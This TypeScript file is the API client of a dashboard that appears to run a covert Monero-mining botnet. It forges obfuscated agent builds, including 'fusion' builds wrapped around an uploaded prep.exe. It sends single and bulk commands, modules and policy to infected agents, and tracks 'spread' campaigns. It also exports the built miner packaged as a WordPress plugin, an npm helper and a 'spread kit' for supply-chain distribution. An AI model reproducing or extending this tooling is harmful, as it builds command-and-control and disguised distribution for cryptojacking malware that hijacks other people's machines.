Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
437 lines
16 KiB
TypeScript
437 lines
16 KiB
TypeScript
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||
import { authHeaders, clearStoredAuth } from './auth';
|
||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||
|
||
const API_BASE = '/api/v1';
|
||
|
||
/** Forge compiles (garble / universal / fusion) can run 10–30+ minutes. */
|
||
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
|
||
|
||
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
|
||
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
|
||
|
||
/** Agent log refresh=1 may block until new lines arrive. */
|
||
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
|
||
|
||
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
|
||
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
|
||
|
||
function forgeTimeoutError(): Error {
|
||
return new Error(
|
||
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
|
||
'Wait longer, disable obfuscation, or forge one target at a time.',
|
||
);
|
||
}
|
||
|
||
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
|
||
const text = await res.text();
|
||
if (!res.ok) {
|
||
try {
|
||
const body = JSON.parse(text) as BuildResponse;
|
||
if (body.error) {
|
||
throw new Error(body.error);
|
||
}
|
||
} catch (e) {
|
||
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
|
||
throw e;
|
||
}
|
||
}
|
||
throw new Error(text.trim() || `Build failed (${res.status})`);
|
||
}
|
||
return JSON.parse(text) as BuildResponse;
|
||
}
|
||
|
||
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
|
||
const controller = new AbortController();
|
||
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
|
||
try {
|
||
const res = await fetch(`${API_BASE}${url}`, {
|
||
...init,
|
||
signal: controller.signal,
|
||
headers: {
|
||
...authHeaders(),
|
||
...(init.headers as Record<string, string> | undefined),
|
||
},
|
||
});
|
||
if (res.status === 401) {
|
||
clearStoredAuth({ expired: true });
|
||
}
|
||
return await parseForgeBuildResponse(res);
|
||
} catch (e) {
|
||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||
throw forgeTimeoutError();
|
||
}
|
||
throw e;
|
||
} finally {
|
||
clearTimeout(timer);
|
||
}
|
||
}
|
||
|
||
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
|
||
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
|
||
const controller = new AbortController();
|
||
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
||
if (callerSignal) {
|
||
callerSignal.addEventListener('abort', () => controller.abort());
|
||
}
|
||
try {
|
||
const res = await fetch(`${API_BASE}${url}`, {
|
||
...rest,
|
||
signal: controller.signal,
|
||
headers: {
|
||
'Content-Type': 'application/json',
|
||
...authHeaders(),
|
||
...(extraHeaders as Record<string, string> | undefined),
|
||
},
|
||
});
|
||
if (!res.ok) {
|
||
if (res.status === 401) {
|
||
clearStoredAuth({ expired: true });
|
||
}
|
||
const err = await res.text();
|
||
throw new Error(`API error ${res.status}: ${err}`);
|
||
}
|
||
return res.json();
|
||
} catch (e) {
|
||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
|
||
}
|
||
throw e;
|
||
} finally {
|
||
clearTimeout(timer);
|
||
}
|
||
}
|
||
|
||
export const api = {
|
||
// Agents
|
||
listAgents: () => fetchJSON<Agent[]>('/agents'),
|
||
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
|
||
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
|
||
getAgentStats: (id: string, limit?: number) =>
|
||
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
|
||
|
||
// Shares
|
||
getRecentShares: (limit?: number) =>
|
||
fetchJSON<Share[]>(`/shares${limit ? `?limit=${limit}` : ''}`),
|
||
|
||
// Builds
|
||
listBuilds: () => fetchJSON<BuildRecord[]>('/builds'),
|
||
|
||
// Config
|
||
getConfig: () => fetchJSON<ServerConfig>('/config'),
|
||
updateConfig: (config: Partial<ServerConfig>) =>
|
||
fetchJSON<ServerConfig>('/config', {
|
||
method: 'PUT',
|
||
body: JSON.stringify(config),
|
||
}),
|
||
|
||
// Builder
|
||
buildAgent: (req: BuildRequest, prepFile?: File | null) => {
|
||
if (req.fusion_enabled) {
|
||
if (!prepFile) {
|
||
return Promise.reject(new Error('Fusion requires prep.exe upload'));
|
||
}
|
||
const form = new FormData();
|
||
form.append('config', JSON.stringify(req));
|
||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||
return postForgeBuild('/builder/build', {
|
||
method: 'POST',
|
||
body: form,
|
||
});
|
||
}
|
||
return postForgeBuild('/builder/build', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify(req),
|
||
});
|
||
},
|
||
|
||
estimateFusion: (req: BuildRequest, prepFile?: File | null) => {
|
||
if (!prepFile) {
|
||
return Promise.reject(new Error('Fusion requires prep.exe upload'));
|
||
}
|
||
const form = new FormData();
|
||
form.append('config', JSON.stringify(req));
|
||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||
const controller = new AbortController();
|
||
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
|
||
return fetch(`${API_BASE}/builder/estimate`, {
|
||
method: 'POST',
|
||
headers: authHeaders(),
|
||
body: form,
|
||
signal: controller.signal,
|
||
})
|
||
.then(async (res) => {
|
||
if (res.status === 401) {
|
||
clearStoredAuth({ expired: true });
|
||
}
|
||
if (!res.ok) {
|
||
const err = await res.text();
|
||
throw new Error(`API error ${res.status}: ${err}`);
|
||
}
|
||
return res.json() as Promise<FusionEstimate>;
|
||
})
|
||
.catch((e) => {
|
||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
|
||
}
|
||
throw e;
|
||
})
|
||
.finally(() => clearTimeout(timer));
|
||
},
|
||
|
||
pinBuild: (buildId: string) =>
|
||
fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }),
|
||
unpinAll: () =>
|
||
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
|
||
deleteBuild: (buildId: string) =>
|
||
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
|
||
setBuildPublic: (buildId: string, isPublic: boolean) =>
|
||
fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, {
|
||
method: 'PUT',
|
||
body: JSON.stringify({ public: isPublic }),
|
||
}),
|
||
|
||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||
buildArtifactUrl: (buildId: string, fileName: string) =>
|
||
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
|
||
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
||
|
||
// Blueprints (config presets)
|
||
listBlueprints: () => fetchJSON<BlueprintInfo[]>('/blueprints'),
|
||
getBlueprint: (name: string) => fetchJSON<any>(`/blueprints/${encodeURIComponent(name)}`),
|
||
saveBlueprint: (name: string, data: any) =>
|
||
fetchJSON<{ success: boolean; name: string; file_path: string; created_at: string }>('/blueprints', {
|
||
method: 'POST',
|
||
body: JSON.stringify({ name, data }),
|
||
}),
|
||
deleteBlueprint: (name: string) =>
|
||
fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
|
||
method: 'DELETE',
|
||
}),
|
||
|
||
// Health / server
|
||
healthCheck: () => fetchJSON<{ status: string }>('/health'),
|
||
getServerInfo: () => fetchJSON<ServerInfo>('/server/info'),
|
||
rotateFleetSecret: () =>
|
||
fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }),
|
||
|
||
// Fleet ops
|
||
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
|
||
testAlerts: () =>
|
||
fetchJSON<Record<string, { sent: boolean; error?: string }>>('/alerts/test', {
|
||
method: 'POST',
|
||
}),
|
||
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
|
||
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
|
||
getEarningsEstimate: (hashrate: number) =>
|
||
fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
|
||
sendAgentCommand: (
|
||
id: string,
|
||
action: string,
|
||
payload?: Record<string, unknown>
|
||
) =>
|
||
fetchJSON<{ success: boolean; error?: string }>(`/agents/${id}/command`, {
|
||
method: 'POST',
|
||
body: JSON.stringify({ action, ...payload }),
|
||
}),
|
||
sendWOL: (id: string, mac?: string) =>
|
||
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
|
||
method: 'POST',
|
||
body: JSON.stringify(mac ? { mac } : {}),
|
||
}),
|
||
getAgentLog: (id: string, refresh = false) =>
|
||
fetchJSON<{ agent_id: string; content: string }>(
|
||
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
|
||
undefined,
|
||
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
|
||
),
|
||
|
||
downloadAgentLog: async (id: string): Promise<void> => {
|
||
const res = await fetchAuthedWithTimeout(
|
||
`${API_BASE}/agents/${id}/log?download=1`,
|
||
DOWNLOAD_TIMEOUT_MS,
|
||
);
|
||
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
||
const blob = await res.blob();
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = `agent-${id.slice(0, 8)}.log`;
|
||
document.body.appendChild(a);
|
||
a.click();
|
||
document.body.removeChild(a);
|
||
URL.revokeObjectURL(url);
|
||
},
|
||
|
||
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
||
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
|
||
method: 'PUT',
|
||
body: JSON.stringify({ notes, tags }),
|
||
}),
|
||
|
||
sendBulkCommand: (agentIds: string[], action: string) =>
|
||
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
|
||
method: 'POST',
|
||
body: JSON.stringify({ agent_ids: agentIds, action }),
|
||
}),
|
||
|
||
deleteAgent: (id: string) =>
|
||
fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }),
|
||
|
||
bulkDeleteAgents: (ids: string[]) =>
|
||
fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', {
|
||
method: 'POST',
|
||
body: JSON.stringify({ ids }),
|
||
}),
|
||
|
||
createUser: (username: string, password: string) =>
|
||
fetchJSON<{ success: boolean }>('/users', {
|
||
method: 'POST',
|
||
body: JSON.stringify({ username, password }),
|
||
}),
|
||
|
||
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
|
||
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
|
||
|
||
getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
|
||
getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
|
||
saveFleetTask: (task: import('../types').FleetTask) =>
|
||
fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
|
||
deleteFleetTask: (id: string) =>
|
||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||
|
||
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
|
||
pushFleetPolicy: (body: {
|
||
agent_ids: string[];
|
||
policy: Record<string, unknown>;
|
||
}) =>
|
||
fetchJSON<{ success: boolean; sent?: number; failed?: number; targets?: number; push_id?: string; error?: string }>('/fleet/policy', {
|
||
method: 'PUT',
|
||
body: JSON.stringify(body),
|
||
}),
|
||
pushFleetModule: (body: { agent_ids: string[]; module: string }) =>
|
||
fetchJSON<{ success: boolean; sent?: number; failed?: number; module?: string; error?: string }>(
|
||
'/fleet/modules/push',
|
||
{ method: 'POST', body: JSON.stringify(body) },
|
||
),
|
||
|
||
// Public builds (unauthenticated — used on login page)
|
||
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
|
||
const res = await fetch(`${API_BASE}/public/builds`);
|
||
if (!res.ok) throw new Error(`Public builds ${res.status}`);
|
||
return res.json();
|
||
},
|
||
|
||
// Emberwake
|
||
getEmberwakeNotes: () => fetchJSON<EmberwakeNotes>('/emberwake/notes'),
|
||
putEmberwakeNotes: (content: string) =>
|
||
fetchJSON<EmberwakeNotes>('/emberwake/notes', {
|
||
method: 'PUT',
|
||
body: JSON.stringify({ content }),
|
||
}),
|
||
listCampaignHits: () =>
|
||
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
|
||
getWarRoom: (days = 7) =>
|
||
fetchJSON<import('../types').WarRoomResponse>(`/emberwake/war-room?days=${days}`),
|
||
|
||
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||
body: JSON.stringify(req),
|
||
});
|
||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||
if (!res.ok) throw new Error(await res.text());
|
||
const blob = await res.blob();
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
|
||
a.click();
|
||
URL.revokeObjectURL(url);
|
||
},
|
||
|
||
exportWordPressPlugin: async (req: {
|
||
build_id: string;
|
||
server_url: string;
|
||
campaign: string;
|
||
site_name: string;
|
||
}) => {
|
||
const res = await fetch(`${API_BASE}/builder/wordpress-plugin-export`, {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||
body: JSON.stringify(req),
|
||
});
|
||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||
if (!res.ok) throw new Error(await res.text());
|
||
const blob = await res.blob();
|
||
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = `${slug}-wordpress-plugin.zip`;
|
||
a.click();
|
||
URL.revokeObjectURL(url);
|
||
},
|
||
|
||
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||
const res = await fetch(`${API_BASE}/builder/npm-helper-export`, {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json', ...authHeaders() },
|
||
body: JSON.stringify(req),
|
||
});
|
||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||
if (!res.ok) throw new Error(await res.text());
|
||
const blob = await res.blob();
|
||
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = `${slug}-npm-helper.zip`;
|
||
a.click();
|
||
URL.revokeObjectURL(url);
|
||
},
|
||
|
||
// Path Tracer — WireGuard VPN chain sessions
|
||
startTrace: (agentIds: string[]) =>
|
||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||
method: 'POST',
|
||
body: JSON.stringify({ agent_ids: agentIds }),
|
||
}),
|
||
getTraceStatus: (id: string) =>
|
||
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
|
||
getTraceQR: (id: string) =>
|
||
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
|
||
deleteTrace: (id: string) =>
|
||
fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }),
|
||
|
||
// Cancel an in-progress forge build by its cancel token.
|
||
cancelBuild: (cancelToken: string) =>
|
||
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
||
method: 'DELETE',
|
||
}),
|
||
|
||
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
||
downloadBackup: async (): Promise<void> => {
|
||
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
|
||
method: 'GET',
|
||
});
|
||
if (!res.ok) {
|
||
const err = await res.text();
|
||
throw new Error(`Backup failed ${res.status}: ${err}`);
|
||
}
|
||
const blob = await res.blob();
|
||
const disposition = res.headers.get('Content-Disposition') ?? '';
|
||
const match = disposition.match(/filename="([^"]+)"/);
|
||
const filename = match ? match[1] : 'aetherforge-backup.zip';
|
||
const url = URL.createObjectURL(blob);
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.download = filename;
|
||
a.click();
|
||
URL.revokeObjectURL(url);
|
||
},
|
||
};
|